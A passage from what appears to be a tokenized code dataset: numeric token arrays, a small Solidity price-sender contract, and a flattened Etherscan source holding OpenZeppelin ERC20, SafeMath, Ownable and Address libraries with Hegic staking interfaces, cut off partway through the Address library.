9606,
2319,
16,
1492,
848,
506,
6754,
358,
4186,
358,
1221,
3071,
1915,
854,
1158,
4764,
261,
2842,
313,
970,
13,
4097,
358,
2182,
18,
3609,
716,
2724,
1915,
353,
279,
2202,
1375,
5836,
426,
8230,
970,
68,
11026,
16,
4186,
9350,
487,
1375,
5836,
426,
8230,
970,
68,
2026,
486,
745,
1245,
4042,
18,
1220,
848,
506,
28613,
6740,
635,
10480,
5348,
4186,
1375,
1152,
9191,
471,
1508,
6534,
1375,
9375,
68,
1375,
5836,
426,
8230,
970,
68,
1241,
3143,
358,
2182,
18,
399,
2579,
30,
971,
1846,
4102,
3007,
358,
16094,
1898,
2973,
283,
8230,
12514,
471,
10355,
16226,
358,
17151,
5314,
518,
16,
866,
596,
3134,
10700,
1603,
19,
605,
11887,
634,
854,
1898,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
17801,
6835,
868,
8230,
12514,
16709,
10784,
429,
353,
10188,
6934,
288,
203,
203,
565,
2254,
5034,
3238,
5381,
389,
4400,
67,
12278,
2056,
273,
404,
31,
203,
565,
2254,
5034,
3238,
5381,
389,
12278,
2056,
273,
576,
31,
203,
203,
565,
2254,
5034,
3238,
389,
2327,
31,
203,
203,
203,
565,
445,
1001,
426,
8230,
12514,
16709,
67,
2738,
1435,
2713,
1338,
29782,
288,
203,
3639,
1001,
426,
8230,
12514,
16709,
67,
2738,
67,
4384,
8707,
5621,
203,
565,
289,
203,
203,
565,
445,
1001,
426,
8230,
12514,
16709,
67,
2738,
67,
4384,
8707,
1435,
2713,
1338,
29782,
288,
203,
3639,
389,
2327,
273,
389,
4400,
67,
12278,
2056,
31,
203,
565,
289,
203,
203,
565,
9606,
1661,
426,
8230,
970,
1435,
288,
203,
3639,
2583,
24899,
2327,
480,
389,
12278,
2056,
16,
315,
426,
8230,
12514,
16709,
30,
283,
8230,
970,
745,
8863,
203,
203,
3639,
389,
2327,
273,
389,
12278,
2056,
31,
203,
203,
3639,
389,
31,
203,
203,
3639,
389,
2327,
273,
389,
4400,
67,
12278,
2056,
31,
203,
565,
289,
203,
203,
565,
2254,
5034,
63,
7616,
65,
3238,
1001,
14048,
31,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x6e8135b003F288aA4009D948e9646588861C5575/sources/contracts/TMSender.sol
|
@notice Price sender contract to be deployed on Ethereum. Global state Setup
|
contract TMSender is IRateProvider, OwnableUpgradeable {
address public tmReceiver;
constructor() {
_disableInitializers();
}
function initialize(address _staker, address _fxRoot, address _tmReceiver) external initializer {
__Ownable_init();
staker = _staker;
fxRoot = _fxRoot;
tmReceiver = _tmReceiver;
}
event PriceUpdate(uint256 num, uint256 denom, bytes data);
function updatePrice() external {
(uint256 num, uint256 denom) = ITruStake(staker).sharePrice();
bytes memory price = _convertPriceToBytes(num, denom);
IFxRoot(fxRoot).sendMessageToChild(tmReceiver, price);
emit PriceUpdate(num, denom, price);
}
function getRate() external override view returns (uint256) {
(uint256 num, uint256 denom) = ITruStake(staker).sharePrice();
return num / denom;
}
function _convertPriceToBytes(uint256 num, uint256 denom) private pure returns (bytes memory) {
return abi.encodePacked(num, denom);
}
function setStaker(address _staker) external onlyOwner {
staker = _staker;
}
function setFxRoot(address _fxRoot) external onlyOwner {
fxRoot = _fxRoot;
}
function setReceiver(address _tmReceiver) external onlyOwner {
tmReceiver = _tmReceiver;
}
}
| 9,766,917 |
[
1,
5147,
5793,
6835,
358,
506,
19357,
603,
512,
18664,
379,
18,
8510,
919,
10939,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
399,
3537,
2345,
353,
467,
4727,
2249,
16,
14223,
6914,
10784,
429,
288,
203,
203,
565,
1758,
1071,
6118,
12952,
31,
203,
203,
203,
565,
3885,
1435,
288,
203,
3639,
389,
8394,
4435,
8426,
5621,
203,
565,
289,
203,
203,
565,
445,
4046,
12,
2867,
389,
334,
6388,
16,
1758,
389,
19595,
2375,
16,
1758,
389,
16925,
12952,
13,
3903,
12562,
288,
203,
3639,
1001,
5460,
429,
67,
2738,
5621,
203,
203,
3639,
384,
6388,
273,
389,
334,
6388,
31,
203,
3639,
12661,
2375,
273,
389,
19595,
2375,
31,
203,
3639,
6118,
12952,
273,
389,
16925,
12952,
31,
203,
565,
289,
203,
203,
565,
871,
20137,
1891,
12,
11890,
5034,
818,
16,
2254,
5034,
10716,
16,
1731,
501,
1769,
203,
203,
203,
203,
565,
445,
1089,
5147,
1435,
3903,
288,
203,
3639,
261,
11890,
5034,
818,
16,
2254,
5034,
10716,
13,
273,
467,
1070,
89,
510,
911,
12,
334,
6388,
2934,
14419,
5147,
5621,
203,
203,
3639,
1731,
3778,
6205,
273,
389,
6283,
5147,
21033,
12,
2107,
16,
10716,
1769,
203,
203,
3639,
11083,
92,
2375,
12,
19595,
2375,
2934,
4661,
1079,
774,
1763,
12,
16925,
12952,
16,
6205,
1769,
203,
203,
3639,
3626,
20137,
1891,
12,
2107,
16,
10716,
16,
6205,
1769,
203,
565,
289,
203,
203,
565,
445,
4170,
340,
1435,
3903,
3849,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
261,
11890,
5034,
818,
16,
2254,
5034,
10716,
13,
273,
467,
1070,
89,
510,
911,
12,
334,
6388,
2934,
14419,
5147,
5621,
203,
203,
3639,
327,
818,
342,
10716,
2
] |
/**
*Submitted for verification at Etherscan.io on 2021-08-21
*/
// Sources flattened with hardhat v2.6.0 https://hardhat.org
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/math/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File contracts/Interfaces.sol
/**
* Hegic
* Copyright (C) 2020 Hegic Protocol
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.12;
interface IHegicStaking is IERC20 {
function classicLockupPeriod() external view returns (uint256);
function lastBoughtTimestamp(address) external view returns (uint256);
function claimProfits(address account) external returns (uint profit);
function buyStakingLot(uint amount) external;
function sellStakingLot(uint amount) external;
function profitOf(address account) external view returns (uint profit);
}
interface IHegicStakingETH is IHegicStaking {
function sendProfit() external payable;
}
interface IHegicStakingERC20 is IHegicStaking {
function sendProfit(uint amount) external;
}
interface IOldStakingPool {
function ownerPerformanceFee(address account) external view returns (uint);
function withdraw(uint256 amount) external;
}
interface IOldPool {
function withdraw(uint256 amount) external returns (uint);
}
// File @openzeppelin/contracts/access/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
